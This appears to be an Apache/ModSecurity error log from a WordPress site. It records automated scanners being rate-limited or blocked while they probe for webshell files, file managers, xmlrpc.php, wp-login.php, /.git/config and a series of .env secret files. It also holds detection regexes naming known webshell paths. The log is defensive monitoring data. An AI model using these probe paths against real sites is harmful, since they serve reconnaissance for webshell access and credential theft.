[Wed May 20 23:24:23.341661 2026] [proxy_fcgi:error] [pid 41279:tid 41348] [client 20.206.75.25:29019] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:24:23.653974 2026] [proxy_fcgi:error] [pid 41279:tid 41339] [client 20.206.75.25:29019] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:24:23.983058 2026] [:error] [pid 41279:tid 41342] [client 20.206.75.25:29019] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/options.php"] [unique_id "ag3SJ7EFyfaehGZbt4yvOQAAAMY"]
[Wed May 20 23:24:30.306727 2026] [:error] [pid 7664:tid 7688] [client 20.206.75.25:2104] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/options.php"] [unique_id "ag3SLnZ8s7o3eiqT2ksdTgAAAVU"]
[Wed May 20 23:24:41.482888 2026] [:error] [pid 41279:tid 41355] [client 20.206.75.25:14241] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "ag3SObEFyfaehGZbt4yvUQAAANM"]
[Wed May 20 23:24:46.677769 2026] [:error] [pid 44059:tid 44077] [client 20.206.75.25:14259] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "ag3SPhfFs-oSOOcyjyxE6QAAARA"]
[Wed May 20 23:24:51.942312 2026] [:error] [pid 41364:tid 41384] [client 20.206.75.25:34052] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "ag3SQxKTmyvxtNXrN-gCRwAAAJI"]
[Wed May 20 23:25:03.027384 2026] [:error] [pid 44059:tid 44084] [client 20.206.75.25:14215] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "ag3STxfFs-oSOOcyjyxFAAAAARc"]
[Wed May 20 23:25:11.259482 2026] [:error] [pid 7664:tid 7674] [client 20.206.75.25:32470] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "ag3SV3Z8s7o3eiqT2ksdYgAAAUc"]
[Wed May 20 23:25:17.478687 2026] [:error] [pid 41364:tid 41382] [client 20.206.75.25:34954] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/son1.php"] [unique_id "ag3SXRKTmyvxtNXrN-gCewAAAJA"]
[Wed May 20 23:25:44.232840 2026] [proxy_fcgi:error] [pid 7731:tid 7751] [client 20.206.75.25:29049] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:26:00.711460 2026] [proxy_fcgi:error] [pid 41278:tid 41309] [client 20.206.75.25:34558] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:26:01.057094 2026] [proxy_fcgi:error] [pid 41278:tid 41323] [client 20.206.75.25:34558] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:26:01.371421 2026] [proxy_fcgi:error] [pid 41278:tid 41324] [client 20.206.75.25:34558] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:26:01.724719 2026] [proxy_fcgi:error] [pid 41278:tid 41330] [client 20.206.75.25:34558] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:26:04.364188 2026] [proxy_fcgi:error] [pid 41278:tid 41325] [client 20.206.75.25:34558] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:26:04.701158 2026] [proxy_fcgi:error] [pid 41278:tid 41327] [client 20.206.75.25:34558] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:26:05.044276 2026] [proxy_fcgi:error] [pid 41278:tid 41317] [client 20.206.75.25:34558] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:26:05.358553 2026] [proxy_fcgi:error] [pid 41278:tid 41326] [client 20.206.75.25:34558] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:26:08.332950 2026] [proxy_fcgi:error] [pid 41278:tid 41310] [client 20.206.75.25:34558] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:26:09.517550 2026] [proxy_fcgi:error] [pid 41278:tid 41328] [client 20.206.75.25:34558] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:26:09.851220 2026] [:error] [pid 41278:tid 41311] [client 20.206.75.25:34558] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "ag3SkfWiNKASEfiGdwbK3QAAAEI"]
[Wed May 20 23:26:19.244664 2026] [:error] [pid 44059:tid 44081] [client 20.206.75.25:35356] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "ag3SmxfFs-oSOOcyjyxFNQAAARQ"]
[Wed May 20 23:26:21.413483 2026] [:error] [pid 41279:tid 41336] [client 20.206.75.25:2505] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "ag3SnbEFyfaehGZbt4yvvwAAAMA"]
[Wed May 20 23:26:22.440615 2026] [:error] [pid 41278:tid 41332] [client 20.206.75.25:18287] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "ag3SnvWiNKASEfiGdwbK5wAAAFc"]
[Wed May 20 23:26:23.535866 2026] [:error] [pid 41279:tid 41340] [client 20.206.75.25:2535] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ag3Sn7EFyfaehGZbt4yvwgAAAMQ"]
[Wed May 20 23:26:25.842872 2026] [:error] [pid 7731:tid 7755] [client 20.206.75.25:18242] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ag3SoX9qQlHXbkl2nEtE-wAAAZY"]
[Wed May 20 23:26:30.763817 2026] [:error] [pid 41277:tid 41302] [client 20.206.75.25:33135] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ag3SprTTCltJmboB5ucUOAAAABQ"]
[Wed May 20 23:26:32.732772 2026] [:error] [pid 41279:tid 41338] [client 20.206.75.25:18590] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ag3SqLEFyfaehGZbt4yvxwAAAMI"]
[Wed May 20 23:26:34.898099 2026] [:error] [pid 41279:tid 41342] [client 20.206.75.25:35341] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "ag3SqrEFyfaehGZbt4yvzQAAAMY"]
[Wed May 20 23:26:38.650783 2026] [:error] [pid 7664:tid 7670] [client 20.206.75.25:35353] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "ag3SrnZ8s7o3eiqT2ksdnQAAAUM"]
[Wed May 20 23:26:42.313205 2026] [:error] [pid 41278:tid 41329] [client 20.206.75.25:2537] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "ag3SsvWiNKASEfiGdwbK_QAAAFQ"]
[Wed May 20 23:26:45.343275 2026] [:error] [pid 44059:tid 44075] [client 20.206.75.25:32405] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "ag3StRfFs-oSOOcyjyxFRwAAAQ4"]
[Wed May 20 23:26:48.756764 2026] [:error] [pid 41277:tid 41305] [client 20.206.75.25:1521] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "ag3SuLTTCltJmboB5ucUQQAAABc"]
[Wed May 20 23:26:52.780654 2026] [:error] [pid 41279:tid 41341] [client 20.206.75.25:34073] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "ag3SvLEFyfaehGZbt4yv5wAAAMU"]
[Wed May 20 23:26:56.022941 2026] [:error] [pid 7664:tid 7681] [client 20.206.75.25:32387] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "ag3SwHZ8s7o3eiqT2ksdqwAAAU4"]
[Wed May 20 23:27:03.599984 2026] [:error] [pid 7731:tid 7741] [client 20.206.75.25:2113] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "ag3Sx39qQlHXbkl2nEtFIAAAAYg"]
[Wed May 20 23:27:07.832486 2026] [:error] [pid 41278:tid 41333] [client 20.206.75.25:35178] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file2.php"] [unique_id "ag3Sy_WiNKASEfiGdwbLJwAAAFg"]
[Wed May 20 23:27:13.511450 2026] [proxy_fcgi:error] [pid 41278:tid 41313] [client 20.206.75.25:2931] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:27:14.557335 2026] [proxy_fcgi:error] [pid 41278:tid 41314] [client 20.206.75.25:2931] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:27:14.910399 2026] [proxy_fcgi:error] [pid 41278:tid 41332] [client 20.206.75.25:2931] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:27:15.281085 2026] [proxy_fcgi:error] [pid 41278:tid 41323] [client 20.206.75.25:2931] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:27:15.596661 2026] [proxy_fcgi:error] [pid 41278:tid 41333] [client 20.206.75.25:2931] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:27:15.956188 2026] [proxy_fcgi:error] [pid 41278:tid 41326] [client 20.206.75.25:2931] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:27:16.295195 2026] [proxy_fcgi:error] [pid 41278:tid 41312] [client 20.206.75.25:2931] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:27:16.609629 2026] [proxy_fcgi:error] [pid 41278:tid 41324] [client 20.206.75.25:2931] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:27:20.175560 2026] [proxy_fcgi:error] [pid 41278:tid 41313] [client 20.206.75.25:2931] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:27:20.538791 2026] [:error] [pid 41278:tid 41330] [client 20.206.75.25:2931] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "ag3S2PWiNKASEfiGdwbLOwAAAFU"]
[Wed May 20 23:27:24.585002 2026] [:error] [pid 7664:tid 7671] [client 20.206.75.25:2367] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "ag3S3HZ8s7o3eiqT2ksdwQAAAUQ"]
[Wed May 20 23:27:34.982304 2026] [:error] [pid 41364:tid 41384] [client 20.206.75.25:34557] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "ag3S5hKTmyvxtNXrN-gDLgAAAJI"]
[Wed May 20 23:27:51.556888 2026] [:error] [pid 44059:tid 44083] [client 20.206.75.25:1961] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ini.php"] [unique_id "ag3S9xfFs-oSOOcyjyxFnwAAARY"]
[Wed May 20 23:27:55.827556 2026] [:error] [pid 41279:tid 41337] [client 20.206.75.25:1925] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ca4.php"] [unique_id "ag3S-7EFyfaehGZbt4ywGQAAAME"]
[Wed May 20 23:28:14.946942 2026] [:error] [pid 7731:tid 7756] [client 20.206.75.25:31974] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/index.php"] [unique_id "ag3TDn9qQlHXbkl2nEtFgQAAAZc"]
[Wed May 20 23:28:31.914460 2026] [proxy_fcgi:error] [pid 7731:tid 7754] [client 20.206.75.25:33489] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:28:32.320880 2026] [proxy_fcgi:error] [pid 7731:tid 7747] [client 20.206.75.25:33489] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:28:32.636169 2026] [proxy_fcgi:error] [pid 7731:tid 7749] [client 20.206.75.25:33489] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:28:32.947673 2026] [:error] [pid 7731:tid 7738] [client 20.206.75.25:33489] [client 20.206.75.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "ag3TIH9qQlHXbkl2nEtFqQAAAYU"]
[Thu May 21 00:04:55.628169 2026] [:error] [pid 7664:tid 7691] [client 82.199.39.109:50308] [client 82.199.39.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.199.39.109, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ag3bp3Z8s7o3eiqT2kskPgAAAVg"]
[Thu May 21 00:04:55.642253 2026] [proxy_fcgi:error] [pid 7664:tid 7691] [client 82.199.39.109:50308] AH01071: Got error 'Primary script unknown'
[Thu May 21 03:42:18.525251 2026] [:error] [pid 41279:tid 41342] [client 24.144.111.33:50315] [client 24.144.111.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.144.111.33, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "ag4OmrEFyfaehGZbt4zR7QAAAMY"]
[Thu May 21 03:42:18.536802 2026] [proxy_fcgi:error] [pid 41279:tid 41342] [client 24.144.111.33:50315] AH01071: Got error 'Primary script unknown'
[Thu May 21 03:42:22.184033 2026] [:error] [pid 41279:tid 41337] [client 24.144.111.33:50315] [client 24.144.111.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "ag4OnrEFyfaehGZbt4zSCAAAAME"]
[Thu May 21 03:42:22.593899 2026] [:error] [pid 41279:tid 41345] [client 24.144.111.33:54860] [client 24.144.111.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "ag4OnrEFyfaehGZbt4zSCgAAAMk"]
[Thu May 21 03:42:23.003682 2026] [:error] [pid 44059:tid 44065] [client 24.144.111.33:55225] [client 24.144.111.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "ag4OnxfFs-oSOOcyjyx0CgAAAQQ"]
[Thu May 21 06:10:41.201901 2026] [autoindex:error] [pid 51613:tid 51623] [client 20.193.254.121:63840] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu May 21 10:46:52.143676 2026] [:error] [pid 9188:tid 9194] [client 143.110.174.56:56522] [client 143.110.174.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 143.110.174.56, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "ag5yHLGYm6q5dNSUvA-G0wAAAcI"]
[Thu May 21 10:46:52.154394 2026] [proxy_fcgi:error] [pid 9188:tid 9194] [client 143.110.174.56:56522] AH01071: Got error 'Primary script unknown'
[Thu May 21 10:56:05.126514 2026] [:error] [pid 9188:tid 9202] [client 209.38.92.4:57121] [client 209.38.92.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.38.92.4, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "ag50RbGYm6q5dNSUvA-IWwAAAco"]
[Thu May 21 10:56:05.138251 2026] [proxy_fcgi:error] [pid 9188:tid 9202] [client 209.38.92.4:57121] AH01071: Got error 'Primary script unknown'
[Thu May 21 14:27:32.606387 2026] [:error] [pid 49884:tid 49957] [client 54.241.112.81:53408] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "ag6l1K5MPpsTNNHWS6howgAAAIo"]
[Thu May 21 14:27:33.427106 2026] [:error] [pid 49884:tid 49952] [client 54.241.112.81:53420] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "ag6l1a5MPpsTNNHWS6hoxgAAAIU"]
[Thu May 21 14:27:34.159005 2026] [:error] [pid 49884:tid 49948] [client 54.241.112.81:53430] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.local"] [unique_id "ag6l1q5MPpsTNNHWS6hoywAAAIE"]
[Thu May 21 14:27:36.551579 2026] [:error] [pid 9114:tid 9138] [client 54.241.112.81:53444] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.staging"] [unique_id "ag6l2G8FiJqDBEoTvqxYCwAAAVY"]
[Thu May 21 14:27:37.281624 2026] [:error] [pid 49982:tid 50000] [client 54.241.112.81:53446] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.development"] [unique_id "ag6l2WFwIDa5Tf8O4bakQwAAANA"]
[Thu May 21 14:27:38.011043 2026] [:error] [pid 51613:tid 51639] [client 54.241.112.81:53456] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.test"] [unique_id "ag6l2mbP0MDvqrVnwerP_AAAARg"]
[Thu May 21 14:27:38.737506 2026] [:error] [pid 51613:tid 51636] [client 54.241.112.81:41354] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.remote"] [unique_id "ag6l2mbP0MDvqrVnwerP_wAAARU"]
[Thu May 21 14:27:39.391734 2026] [:error] [pid 9188:tid 9198] [client 54.241.112.81:41370] [client 54.241.112.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.bak"] [unique_id "ag6l27GYm6q5dNSUvA-tjgAAAcY"]
